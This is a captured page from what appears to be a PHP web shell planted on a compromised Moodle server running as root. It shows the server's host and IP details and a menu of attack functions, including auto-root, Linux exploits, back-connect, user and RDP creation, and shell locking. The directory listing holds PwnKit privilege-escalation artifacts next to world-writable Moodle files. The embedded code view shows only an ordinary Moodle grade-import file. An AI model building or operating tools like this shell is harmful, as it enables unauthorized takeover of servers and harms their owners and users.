Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
assign /
feedback /
offline /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
importgradesform.php
8.27
KB
-rwxrwxrwx
importgradeslib.php
7.56
KB
-rwxrwxrwx
locallib.php
17.89
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.14
KB
-rwxrwxrwx
uploadgradesform.php
3.95
KB
-rwxrwxrwx
version.php
1.07
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : importgradeslib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the forms to create and edit an instance of this module * * @package assignfeedback_offline * @copyright 2012 NetSpot {@link http://www.netspot.com.au} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die('Direct access to this script is forbidden.'); /** * CSV Grade importer * * @package assignfeedback_offline * @copyright 2012 NetSpot {@link http://www.netspot.com.au} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class assignfeedback_offline_grade_importer { /** @var string $importid - unique id for this import operation - must be passed between requests */ public $importid; /** @var csv_import_reader $csvreader - the csv importer class */ private $csvreader; /** @var assignment $assignment - the assignment class */ private $assignment; /** @var int $gradeindex the column index containing the grades */ private $gradeindex = -1; /** @var int $idindex the column index containing the unique id */ private $idindex = -1; /** @var int $modifiedindex the column index containing the last modified time */ private $modifiedindex = -1; /** @var array $validusers only the enrolled users with the correct capability in this course */ private $validusers; /** @var array $feedbackcolumnindexes A lookup of column indexes for feedback plugin text import columns */ private $feedbackcolumnindexes = array(); /** @var string $encoding Encoding to use when reading the csv file. Defaults to utf-8. */ private $encoding; /** @var string $separator How each bit of information is separated in the file. Defaults to comma separated. */ private $separator; /** * Constructor * * @param string $importid A unique id for this import * @param assign $assignment The current assignment */ public function __construct($importid, assign $assignment, $encoding = 'utf-8', $separator = 'comma') { $this->importid = $importid; $this->assignment = $assignment; $this->encoding = $encoding; $this->separator = $separator; } /** * Parse a csv file and save the content to a temp file * Should be called before init() * * @param string $csvdata The csv data * @return bool false is a failed import */ public function parsecsv($csvdata) { $this->csvreader = new csv_import_reader($this->importid, 'assignfeedback_offline'); $this->csvreader->load_csv_content($csvdata, $this->encoding, $this->separator); } /** * Initialise the import reader and locate the column indexes. * * @return bool false is a failed import */ public function init() { if ($this->csvreader == null) { $this->csvreader = new csv_import_reader($this->importid, 'assignfeedback_offline'); } $this->csvreader->init(); $columns = $this->csvreader->get_columns(); $strgrade = get_string('grade'); $strid = get_string('recordid', 'assign'); $strmodified = get_string('lastmodifiedgrade', 'assign'); foreach ($this->assignment->get_feedback_plugins() as $plugin) { if ($plugin->is_enabled() && $plugin->is_visible()) { foreach ($plugin->get_editor_fields() as $field => $description) { $this->feedbackcolumnindexes[$description] = array('plugin'=>$plugin, 'field'=>$field, 'description'=>$description); } } } if ($columns) { foreach ($columns as $index => $column) { if (isset($this->feedbackcolumnindexes[$column])) { $this->feedbackcolumnindexes[$column]['index'] = $index; } if ($column == $strgrade) { $this->gradeindex = $index; } if ($column == $strid) { $this->idindex = $index; } if ($column == $strmodified) { $this->modifiedindex = $index; } } } if ($this->idindex < 0 || $this->gradeindex < 0 || $this->modifiedindex < 0) { return false; } $groupmode = groups_get_activity_groupmode($this->assignment->get_course_module()); // All users. $groupid = 0; $groupname = ''; if ($groupmode) { $groupid = groups_get_activity_group($this->assignment->get_course_module(), true); $groupname = groups_get_group_name($groupid).'-'; } $this->validusers = $this->assignment->list_participants($groupid, false); return true; } /** * Return the encoding for this csv import. * * @return string The encoding for this csv import. */ public function get_encoding() { return $this->encoding; } /** * Return the separator for this csv import. * * @return string The separator for this csv import. */ public function get_separator() { return $this->separator; } /** * Get the next row of data from the csv file (only the columns we care about) * * @return stdClass or false The stdClass is an object containing user, grade and lastmodified */ public function next() { global $DB; $result = new stdClass(); while ($record = $this->csvreader->next()) { $idstr = $record[$this->idindex]; // Strip the integer from the end of the participant string. $id = substr($idstr, strlen(get_string('hiddenuser', 'assign'))); if ($userid = $this->assignment->get_user_id_for_uniqueid($id)) { if (array_key_exists($userid, $this->validusers)) { $result->grade = $record[$this->gradeindex]; $result->modified = strtotime($record[$this->modifiedindex]); $result->user = $this->validusers[$userid]; $result->feedback = array(); foreach ($this->feedbackcolumnindexes as $description => $details) { if (!empty($details['index'])) { $details['value'] = $record[$details['index']]; $result->feedback[] = $details; } } return $result; } } } // If we got here the csvreader had no more rows. return false; } /** * Close the grade importer file and optionally delete any temp files * * @param bool $delete */ public function close($delete) { $this->csvreader->close(); if ($delete) { $this->csvreader->cleanup(); } } }
Close